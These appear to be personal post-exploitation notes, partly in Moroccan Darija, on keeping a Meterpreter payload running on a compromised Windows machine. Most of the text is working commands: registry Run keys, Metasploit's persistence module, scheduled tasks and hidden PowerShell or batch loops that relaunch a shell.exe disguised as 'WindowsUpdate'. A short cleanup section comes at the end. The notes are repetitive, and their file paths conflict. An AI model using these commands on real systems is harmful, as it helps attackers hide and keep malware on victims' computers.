Post exploitation

reg setval -k HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v "WindowsUpdate" -d "C:\\Windows\\Temp\\shell.exe"

## F meterpreter, dir:
background
 
## F Metasploit, use the new persistence module
use exploit/windows/local/persistence
set SESSION 1
set STARTUP USER
set REXENAME "WindowsUpdate.exe"
set REXEPATH "C:\\Windows\\Temp\\shell.exe"
set DELAY 60
set RETRY_TIME 60
run

Method 1: Use New Persistence Module bash

F meterpreter, dir:#

background

F Metasploit, use the new persistence module#

use exploit/windows/local/persistence
set SESSION 1
set STARTUP USER
set REXENAME "WindowsUpdate.exe"
set REXEPATH "C:\\Windows\\Temp\\shell.exe"
set DELAY 60
set RETRY_TIME 60
run

Method 2: Manual Scheduled Task

F meterpreter, dir hadi:#

schtasks /create /tn "WindowsUpdateService" /tr "C:\Windows\Temp\shell.exe" /sc minute /mo 1 /f

Method 3: PowerShell Persistence

Create PowerShell script that runs every minute#

echo while($true) { Start-Process "C:\Windows\Temp\shell.exe" -WindowStyle Hidden; Start-Sleep -Seconds 60 } > C:\Windows\Temp\runner.ps1

Create scheduled task for PowerShell script#

schtasks /create /tn "PSScheduler" /tr "powershell -WindowStyle Hidden -File C:\Windows\Temp\runner.ps1" /sc onlogon /f

Method 4: Registry Run + Timeout

Create batch file with loop#

echo @echo off > C:\Windows\Temp\autostart.bat
echo :loop >> C:\Windows\Temp\autostart.bat
echo C:\Windows\Temp\shell.exe >> C:\Windows\Temp\autostart.bat
echo timeout /t 60 /nobreak >> C:\Windows\Temp\autostart.bat
echo goto loop >> C:\Windows\Temp\autostart.bat

Add to registry#

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\autostart.bat" /f

Step 1: Nsefto l'shell.exe l Windows Temp bash

F meterpreter, dir:#

cd C:\ cd Users\LENOVO\Desktop download shell.exe /tmp/shell.exe # Backup f Kali upload /tmp/shell.exe C:\Windows\Temp\windowsupdate.exe Step 2: Verify l'file bash

Check file exists f Windows Temp#

dir C:\Windows\Temp\windowsupdate.exe Step 3: Ndir l'persistence b s7i7 bash

F Metasploit, dir:#

use exploit/windows/local/persistence set SESSION 1 set STARTUP USER set REG_NAME "WindowsUpdate" set EXE_NAME "windowsupdate.exe" set REXEPATH "C:\Windows\Temp\windowsupdate.exe" set DELAY 60 run

test#

L'scheduled task "WindowsUpdateService" tcreated w ghadi texecuter C:\ProgramData\windowsupdate.exe kola 1 minute! Step 1: Delete Scheduled Task bash

F shell, dir:#

schtasks /delete /tn "WindowsUpdateService" /f Step 2: Delete Registry Entry (ila kayn) bash

Remove from registry#

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f Step 3: Delete Payload Files bash

Delete both files#

del C:\ProgramData\windowsupdate.exe del C:\Windows\Temp\windowsupdate.exe